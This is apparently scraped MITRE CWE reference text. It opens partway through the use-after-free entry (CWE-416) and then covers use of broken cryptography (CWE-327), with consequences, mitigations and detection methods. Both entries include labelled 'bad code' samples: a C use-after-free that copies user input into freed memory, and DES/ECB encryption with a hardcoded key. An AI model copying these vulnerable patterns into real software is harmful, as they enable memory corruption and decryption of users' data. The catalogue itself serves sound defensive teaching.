Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "CISQ Quality Measures (2020)" (CWE-1305)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.672Operation on a Resource after Expiration or Release
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "CISQ Data Protection Measures" (CWE-1340)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.672Operation on a Resource after Expiration or Release
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Implementation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

C (Undetermined Prevalence)

C++ (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Integrity

Technical Impact: Modify Memory

The use of previously freed memory may corrupt valid data, if the memory area in question has been allocated and used properly elsewhere.
Availability

Technical Impact: DoS: Crash, Exit, or Restart

If chunk consolidation occurs after the use of previously freed data, the process may crash when invalid data is used as chunk information.
Integrity
Confidentiality
Availability

Technical Impact: Execute Unauthorized Code or Commands

If malicious data is entered before chunk consolidation can take place, it may be possible to take advantage of a write-what-where primitive to execute arbitrary code.
+ Likelihood Of Exploit
High
+ Demonstrative Examples

Example 1

The following example demonstrates the weakness.

(bad code)
Example Language:
#include <stdio.h>
#include <unistd.h>
#define BUFSIZER1 512
#define BUFSIZER2 ((BUFSIZER1/2) - 8)
int main(int argc, char **argv) {
char *buf1R1;
char *buf2R1;
char *buf2R2;
char *buf3R2;
buf1R1 = (char *) malloc(BUFSIZER1);
buf2R1 = (char *) malloc(BUFSIZER1);
free(buf2R1);
buf2R2 = (char *) malloc(BUFSIZER2);
buf3R2 = (char *) malloc(BUFSIZER2);
strncpy(buf2R1, argv[1], BUFSIZER1-1);
free(buf1R1);
free(buf2R2);
free(buf3R2);
}

Example 2

The following code illustrates a use after free error:

(bad code)
Example Language:
char* ptr = (char*)malloc (SIZE);
if (err) {
abrt = 1;
free(ptr);
}
...
if (abrt) {
logError("operation aborted before commit", ptr);
}

When an error occurs, the pointer is immediately freed. However, this pointer is later incorrectly used in the logError function.

+ Observed Examples
ReferenceDescription
Chain: an operating system kernel has insufficent resource locking (CWE-413) leading to a use after free (CWE-416).
Chain: two threads in a web browser use the same resource (CWE-366), but one of those threads can destroy the resource before the other has completed (CWE-416).
Chain: mobile platform race condition (CWE-362) leading to use-after-free (CWE-416), as exploited in the wild per CISA KEV.
Chain: race condition (CWE-362) leads to use-after-free (CWE-416), as exploited in the wild per CISA KEV.
Use-after-free triggered by closing a connection while data is still being transmitted.
Improper allocation for invalid data leads to use-after-free.
certificate with a large number of Subject Alternate Names not properly handled in realloc, leading to use-after-free
Timers are not disabled when a related object is deleted
Access to a "dead" object that is being cleaned up
object is deleted even with a non-zero reference count, and later accessed
use-after-free involving request containing an invalid version number
unload of an object that is currently being accessed by other functionality
incorrectly tracking a reference count leads to use-after-free
use-after-free related to use of uninitialized memory
HTML document with incorrectly-nested tags
Use after free in ActiveX object by providing a malformed argument to a method
use-after-free by disconnecting during data transfer, or a message containing incorrect data types
disconnect during a large data transfer causes incorrect reference count, leading to use-after-free
use-after-free found by fuzzing
Chain: race condition (CWE-362) from improper handling of a page transition in web client while an applet is loading (CWE-368) leads to use after free (CWE-416)
realloc generates new buffer and pointer, but previous pointer is still retained, leading to use after free
Use-after-free in web browser, probably resultant from not initializing memory.
use-after-free when one thread accessed memory that was freed by another thread
assignment of malformed values to certain properties triggers use after free
mail server does not properly handle a long header.
chain: integer overflow leads to use-after-free
freed pointer dereference
+ Potential Mitigations

Phase: Architecture and Design

Choose a language that provides automatic memory management.

Phase: Implementation

When freeing pointers, be sure to set them to NULL once they are freed. However, the utilization of multiple or complex data structures may lower the usefulness of this strategy.
+ Detection Methods

Fuzzing

Fuzz testing (fuzzing) is a powerful technique for generating large numbers of diverse inputs - either randomly or algorithmically - and dynamically invoking the code with those inputs. Even with random inputs, it is often capable of generating unexpected results such as crashes, memory corruption, or resource consumption. Fuzzing effectively produces repeatable test cases that clearly indicate bugs, which helps developers to diagnose the issues.

Effectiveness: High

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness: High

+ Affected Resources
  • Memory
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.3987PK - Code Quality
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.742CERT C Secure Coding Standard (2008) Chapter 9 - Memory Management (MEM)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.8082010 Top 25 - Weaknesses On the Cusp
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.876CERT C++ Secure Coding Section 08 - Memory Management (MEM)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.983SFP Secondary Cluster: Faulty Resource Use
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1162SEI CERT C Coding Standard - Guidelines 08. Memory Management (MEM)
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).1200Weaknesses in the 2019 CWE Top 25 Most Dangerous Software Errors
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).1337Weaknesses in the 2021 CWE Top 25 Most Dangerous Software Weaknesses
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).1350Weaknesses in the 2020 CWE Top 25 Most Dangerous Software Weaknesses
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).1387Weaknesses in the 2022 CWE Top 25 Most Dangerous Software Weaknesses
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1399Comprehensive Categorization: Memory Safety
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).1425Weaknesses in the 2023 CWE Top 25 Most Dangerous Software Weaknesses
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Variant level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
ISA/IEC 62443Part 4-1Req SI-1
7 Pernicious KingdomsUse After Free
CLASPUsing freed memory
CERT C Secure CodingMEM00-CAllocate and free memory in the same module, at the same level of abstraction
CERT C Secure CodingMEM01-CStore a new value in pointers immediately after free()
CERT C Secure CodingMEM30-CExactDo not access freed memory
Software Fault PatternsSFP15Faulty Resource Use
+ References
[REF-6] Katrina Tsipenyuk, Brian Chess and Gary McGraw. "Seven Pernicious Kingdoms: A Taxonomy of Software Security Errors". NIST Workshop on Software Security Assurance Tools Techniques and Metrics. NIST. 2005-11-07. <https://samate.nist.gov/SSATTM_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf>.
[REF-18] Secure Software, Inc.. "The CLASP Application Security Process". 2005. <https://cwe.mitre.org/documents/sources/TheCLASPApplicationSecurityProcess.pdf>.
[REF-44] Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". "Sin 8: C++ Catastrophes." Page 143. McGraw-Hill. 2010.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
7 Pernicious Kingdoms
+ Contributions
Contribution DateContributorOrganization
2022-06-28Anonymous External Contributor
Suggested rephrase for extended description
2023-11-14
(CWE 4.14, 2024-02-29)
participants in the CWE ICS/OT SIG 62443 Mapping Fall Workshop
Contributed or reviewed taxonomy mappings for ISA/IEC 62443
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Potential_Mitigations, Time_of_Introduction
2008-08-01KDM Analytics
added/updated white box definitions
2008-09-08CWE Content TeamMITRE
updated Applicable_Platforms, Common_Consequences, Relationships, Observed_Example, Other_Notes, Taxonomy_Mappings
2008-11-24CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2009-03-10CWE Content TeamMITRE
updated Demonstrative_Examples
2009-05-27CWE Content TeamMITRE
updated Demonstrative_Examples
2009-10-29CWE Content TeamMITRE
updated Common_Consequences
2010-02-16CWE Content TeamMITRE
updated Relationships
2010-06-21CWE Content TeamMITRE
updated Potential_Mitigations
2010-09-27CWE Content TeamMITRE
updated Observed_Examples, Relationships
2010-12-13CWE Content TeamMITRE
updated Alternate_Terms, Common_Consequences, Description, Observed_Examples, Other_Notes, Potential_Mitigations, Relationships
2011-03-29CWE Content TeamMITRE
updated Description
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2011-06-27CWE Content TeamMITRE
updated Demonstrative_Examples
2011-09-13CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2012-05-11CWE Content TeamMITRE
updated References, Relationships
2014-07-30CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2015-12-07CWE Content TeamMITRE
updated Relationships
2017-11-08CWE Content TeamMITRE
updated Demonstrative_Examples, Relationships, Taxonomy_Mappings, White_Box_Definitions
2019-01-03CWE Content TeamMITRE
updated Relationships
2019-06-20CWE Content TeamMITRE
updated Relationships, Type
2019-09-19CWE Content TeamMITRE
updated Relationships
2020-02-24CWE Content TeamMITRE
updated References, Relationships, Taxonomy_Mappings
2020-06-25CWE Content TeamMITRE
updated Relationships
2020-08-20CWE Content TeamMITRE
updated Relationships
2020-12-10CWE Content TeamMITRE
updated Relationships
2021-07-20CWE Content TeamMITRE
updated Relationships
2022-06-28CWE Content TeamMITRE
updated Observed_Examples, Relationships
2022-10-13CWE Content TeamMITRE
updated Description, Relationships, Taxonomy_Mappings
2023-04-27CWE Content TeamMITRE
updated Detection_Factors, Relationships, Time_of_Introduction
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes, Relationships
2023-10-26CWE Content TeamMITRE
updated Observed_Examples
2024-02-29
(CWE 4.14, 2024-02-29)
CWE Content TeamMITRE
updated Taxonomy_Mappings

CWE-327: Use of a Broken or Risky Cryptographic Algorithm

Weakness ID: 327
Vulnerability Mapping: ALLOWEDThis CWE ID could be used to map to real-world vulnerabilities in limited situations requiring careful review (with careful review of mapping notes)
Abstraction: ClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product uses a broken or risky cryptographic algorithm or protocol.
+ Extended Description

Cryptographic algorithms are the methods by which data is scrambled to prevent observation or influence by unauthorized actors. Insecure cryptography can be exploited to expose sensitive information, modify data in unexpected ways, spoof identities of other users or devices, or other impacts.

It is very difficult to produce a secure algorithm, and even high-profile algorithms by accomplished cryptographic experts have been broken. Well-known techniques exist to break or weaken various kinds of cryptography. Accordingly, there are a small number of well-understood and heavily studied algorithms that should be used by most products. Using a non-standard or known-insecure algorithm is dangerous because a determined adversary may be able to break the algorithm and compromise whatever data has been protected.

Since the state of cryptography advances so rapidly, it is common for an algorithm to be considered "unsafe" even if it was once thought to be strong. This can happen when new attacks are discovered, or if computing power increases so much that the cryptographic algorithm no longer provides the amount of protection that was originally thought.

For a number of reasons, this weakness is even more challenging to manage with hardware deployment of cryptographic algorithms as opposed to software implementation. First, if a flaw is discovered with hardware-implemented cryptography, the flaw cannot be fixed in most cases without a recall of the product, because hardware is not easily replaceable like software. Second, because the hardware product is expected to work for years, the adversary's computing power will only increase over time.

+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfPillarPillar - a weakness that is the most abstract type of weakness and represents a theme for all class/base/variant weaknesses related to it. A Pillar is different from a Category as a Pillar is still technically a type of weakness that describes a mistake, while a Category represents a common characteristic used to group related things.693Protection Mechanism Failure
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.328Use of Weak Hash
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.780Use of RSA Algorithm without OAEP
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.1240Use of a Cryptographic Primitive with a Risky Implementation
PeerOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.311Missing Encryption of Sensitive Data
PeerOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.301Reflection Attack in an Authentication Protocol
CanFollowBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.208Observable Timing Discrepancy
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)
NatureTypeIDName
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.916Use of Password Hash With Insufficient Computational Effort
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Architectural Concepts" (CWE-1008)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1013Encrypt Data
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Architecture and DesignCOMMISSION: This weakness refers to an incorrect design related to an architectural security tactic.
ImplementationWith hardware, the Architecture or Design Phase might start with compliant cryptography, but it is replaced with a non-compliant crypto during the later Implementation phase due to implementation constraints (e.g., not enough entropy to make it function properly, or not enough silicon real estate available to implement). Or, in rare cases (especially for long projects that span over years), the Architecture specifications might start with cryptography that was originally compliant at the time the Architectural specs were written, but over the time it became non-compliant due to progress made in attacking the crypto.
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

Verilog (Undetermined Prevalence)

VHDL (Undetermined Prevalence)

Technologies

Class: Not Technology-Specific (Undetermined Prevalence)

Class: ICS/OT (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Confidentiality

Technical Impact: Read Application Data

The confidentiality of sensitive data may be compromised by the use of a broken or risky cryptographic algorithm.
Integrity

Technical Impact: Modify Application Data

The integrity of sensitive data may be compromised by the use of a broken or risky cryptographic algorithm.
Accountability
Non-Repudiation

Technical Impact: Hide Activities

If the cryptographic algorithm is used to ensure the identity of the source of the data (such as digital signatures), then a broken algorithm will compromise this scheme and the source of the data cannot be proven.
+ Likelihood Of Exploit
High
+ Demonstrative Examples

Example 1

These code examples use the Data Encryption Standard (DES).

(bad code)
Example Language:
EVP_des_ecb();
(bad code)
Example Language: Java 
Cipher des=Cipher.getInstance("DES...");
des.initEncrypt(key2);
(bad code)
Example Language: PHP 
function encryptPassword($password){
$iv_size = mcrypt_get_iv_size(MCRYPT_DES, MCRYPT_MODE_ECB);
$iv = mcrypt_create_iv($iv_size, MCRYPT_RAND);
$key = "This is a password encryption key";
$encryptedPassword = mcrypt_encrypt(MCRYPT_DES, $key, $password, MCRYPT_MODE_ECB, $iv);
return $encryptedPassword;
}

Once considered a strong algorithm, DES now regarded as insufficient for many applications. It has been replaced by Advanced Encryption Standard (AES).

Example 2

Suppose a chip manufacturer decides to implement a hashing scheme for verifying integrity property of certain bitstream, and it chooses to implement a SHA1 hardware accelerator for to implement the scheme.

(bad code)
Example Language: Other 
The manufacturer chooses a SHA1 hardware accelerator for to implement the scheme because it already has a working SHA1 Intellectual Property (IP) that the manufacturer had created and used earlier, so this reuse of IP saves design cost.

However, SHA1 was theoretically broken in 2005 and practically broken in 2017 at a cost of $110K. This means an attacker with access to cloud-rented computing power will now be able to provide a malicious bitstream with the same hash value, thereby defeating the purpose for which the hash was used.

This issue could have been avoided with better design.

(good code)
Example Language: Other 
The manufacturer could have chosen a cryptographic solution that is recommended by the wide security community (including standard-setting bodies like NIST) and is not expected to be broken (or even better, weakened) within the reasonable life expectancy of the hardware product. In this case, the architects could have used SHA-2 or SHA-3, even if it meant that such choice would cost extra.

Example 3

In 2022, the OT:ICEFALL study examined products by 10 different Operational Technology (OT) vendors. The researchers reported 56 vulnerabilities and said that the products were "insecure by design" [REF-1283]. If exploited, these vulnerabilities often allowed adversaries to change how the products operated, ranging from denial of service to changing the code that the products executed. Since these products were often used in industries such as power, electrical, water, and others, there could even be safety implications.

Multiple OT products used weak cryptography.

+ Observed Examples
ReferenceDescription
SCADA-based protocol supports a legacy encryption mode that uses Tiny Encryption Algorithm (TEA) in ECB mode, which leaks patterns in messages and cannot protect integrity
Programmable Logic Controller (PLC) uses a protocol with a cryptographically insecure hashing algorithm for passwords.
Product uses "ROT-25" to obfuscate the password in the registry.
product only uses "XOR" to obfuscate sensitive data
product only uses "XOR" and a fixed key to obfuscate sensitive data
Product substitutes characters with other characters in a fixed way, and also leaves certain input characters unchanged.
Attackers can infer private IP addresses by dividing each octet by the MD5 hash of '20'.
Product uses DES when MD5 has been specified in the configuration, resulting in weaker-than-expected password hashes.
Default configuration of product uses MD5 instead of stronger algorithms that are available, simplifying forgery of certificates.
Product uses the hash of a hash for authentication, allowing attackers to gain privileges if they can obtain the original hash.
+ Potential Mitigations

Phase: Architecture and Design

Strategy: Libraries or Frameworks

When there is a need to store or transmit sensitive data, use strong, up-to-date cryptographic algorithms to encrypt that data. Select a well-vetted algorithm that is currently considered to be strong by experts in the field, and use well-tested implementations. As with all cryptographic mechanisms, the source code should be available for analysis.

For example, US government systems require FIPS 140-2 certification [REF-1192].

Do not develop custom or private cryptographic algorithms. They will likely be exposed to attacks that are well-understood by cryptographers. Reverse engineering techniques are mature. If the algorithm can be compromised if attackers find out how it works, then it is especially weak.

Periodically ensure that the cryptography has not become obsolete. Some older algorithms, once thought to require a billion years of computing time, can now be broken in days or hours. This includes MD4, MD5, SHA1, DES, and other algorithms that were once regarded as strong. [REF-267]

Phase: Architecture and Design

Ensure that the design allows one cryptographic algorithm to be replaced with another in the next generation or version. Where possible, use wrappers to make the interfaces uniform. This will make it easier to upgrade to stronger algorithms. With hardware, design the product at the Intellectual Property (IP) level so that one cryptographic algorithm can be replaced with another in the next generation of the hardware product.

Effectiveness: Defense in Depth

Phase: Architecture and Design

Carefully manage and protect cryptographic keys (see CWE-320). If the keys can be guessed or stolen, then the strength of the cryptography itself is irrelevant.

Phase: Architecture and Design

Strategy: Libraries or Frameworks

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.

Industry-standard implementations will save development time and may be more likely to avoid errors that can occur during implementation of cryptographic algorithms. Consider the ESAPI Encryption feature.

Phases: Implementation; Architecture and Design

When using industry-approved techniques, use them correctly. Don't cut corners by skipping resource-intensive steps (CWE-325). These steps are often essential for preventing common attacks.
+ Detection Methods

Automated Analysis

Automated methods may be useful for recognizing commonly-used libraries or features that have become obsolete.

Effectiveness: Moderate

Note: False negatives may occur if the tool is not aware of the cryptographic libraries in use, or if custom cryptography is being used.

Manual Analysis

This weakness can be detected using tools and techniques that require manual (human) analysis, such as penetration testing, threat modeling, and interactive tools that allow the tester to record and modify an active session.
Note: These may be more effective than strictly automated techniques. This is especially the case with weaknesses that are related to design and business rules.

Automated Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:
  • Bytecode Weakness Analysis - including disassembler + source code weakness analysis
  • Binary Weakness Analysis - including disassembler + source code weakness analysis
  • Binary / Bytecode simple extractor - strings, ELF readers, etc.

Effectiveness: SOAR Partial

Manual Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:
  • Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies

Effectiveness: SOAR Partial

Dynamic Analysis with Automated Results Interpretation

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:
  • Web Application Scanner
  • Web Services Scanner
  • Database Scanners

Effectiveness: SOAR Partial

Dynamic Analysis with Manual Results Interpretation

According to SOAR, the following detection techniques may be useful:

Highly cost effective:
  • Man-in-the-middle attack tool
Cost effective for partial coverage:
  • Framework-based Fuzzer
  • Automated Monitored Execution
  • Monitored Virtual Environment - run potentially malicious code in sandbox / wrapper / virtual machine, see if it does anything suspicious

Effectiveness: High

Manual Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful:

Highly cost effective:
  • Manual Source Code Review (not inspections)
Cost effective for partial coverage:
  • Focused Manual Spotcheck - Focused manual analysis of source

Effectiveness: High

Automated Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful:

Highly cost effective:
  • Source code Weakness Analyzer
  • Context-configured Source Code Weakness Analyzer

Effectiveness: High

Automated Static Analysis

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:
  • Configuration Checker

Effectiveness: SOAR Partial

Architecture or Design Review

According to SOAR, the following detection techniques may be useful:

Highly cost effective:
  • Formal Methods / Correct-By-Construction
Cost effective for partial coverage:
  • Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

Effectiveness: High

+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.729OWASP Top Ten 2004 Category A8 - Insecure Storage
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.7532009 Top 25 - Porous Defenses
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.8032010 Top 25 - Porous Defenses
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.816OWASP Top Ten 2010 Category A7 - Insecure Cryptographic Storage
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.8662011 Top 25 - Porous Defenses
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.883CERT C++ Secure Coding Section 49 - Miscellaneous (MSC)
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).884CWE Cross-section
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.934OWASP Top Ten 2013 Category A6 - Sensitive Data Exposure
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.958SFP Secondary Cluster: Broken Cryptography
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).1003Weaknesses for Simplified Mapping of Published Vulnerabilities
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1029OWASP Top Ten 2017 Category A3 - Sensitive Data Exposure
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1131CISQ Quality Measures (2016) - Security
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1152SEI CERT Oracle Secure Coding Standard for Java - Guidelines 49. Miscellaneous (MSC)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1170SEI CERT C Coding Standard - Guidelines 48. Miscellaneous (MSC)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1346OWASP Top Ten 2021 Category A02:2021 - Cryptographic Failures
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1366ICS Communications: Frail Security in Protocols
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1402Comprehensive Categorization: Encryption
+ Vulnerability Mapping Notes

Usage: ALLOWED-WITH-REVIEW

(this CWE ID could be used to map to real-world vulnerabilities in limited situations requiring careful review)

Reason: Abstraction

Rationale:

This CWE entry is a Class and might have Base-level children that would be more appropriate

Comments:

Examine children of this entry to see if there is a better fit
+ Notes

Maintenance

Since CWE 4.4, various cryptography-related entries, including CWE-327 and CWE-1240, have been slated for extensive research, analysis, and community consultation to define consistent terminology, improve relationships, and reduce overlap or duplication. As of CWE 4.6, this work is still ongoing.

Maintenance

The Taxonomy_Mappings to ISA/IEC 62443 were added in CWE 4.10, but they are still under review and might change in future CWE versions. These draft mappings were performed by members of the "Mapping CWE to 62443" subgroup of the CWE-CAPEC ICS/OT Special Interest Group (SIG), and their work is incomplete as of CWE 4.10. The mappings are included to facilitate discussion and review by the broader ICS/OT community, and they are likely to change in future CWE versions.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
CLASPUsing a broken or risky cryptographic algorithm
OWASP Top Ten 2004A8CWE More SpecificInsecure Storage
CERT C Secure CodingMSC30-CCWE More AbstractDo not use the rand() function for generating pseudorandom numbers
CERT C Secure CodingMSC32-CCWE More AbstractProperly seed pseudorandom number generators
The CERT Oracle Secure Coding Standard for Java (2011)MSC02-JGenerate strong random numbers
OMG ASCSMASCSM-CWE-327
ISA/IEC 62443Part 3-3Req SR 4.3
ISA/IEC 62443Part 4-2Req CR 4.3
+ References
[REF-280] Bruce Schneier. "Applied Cryptography". John Wiley & Sons. 1996. <https://www.schneier.com/books/applied-cryptography>. URL validated: 2023-04-07.
[REF-281] Alfred J. Menezes, Paul C. van Oorschot and Scott A. Vanstone. "Handbook of Applied Cryptography". 1996-10. <https://cacr.uwaterloo.ca/hac/>. URL validated: 2023-04-07.
[REF-282] C Matthew Curtin. "Avoiding bogus encryption products: Snake Oil FAQ". 1998-04-10. <http://www.faqs.org/faqs/cryptography-faq/snake-oil/>.
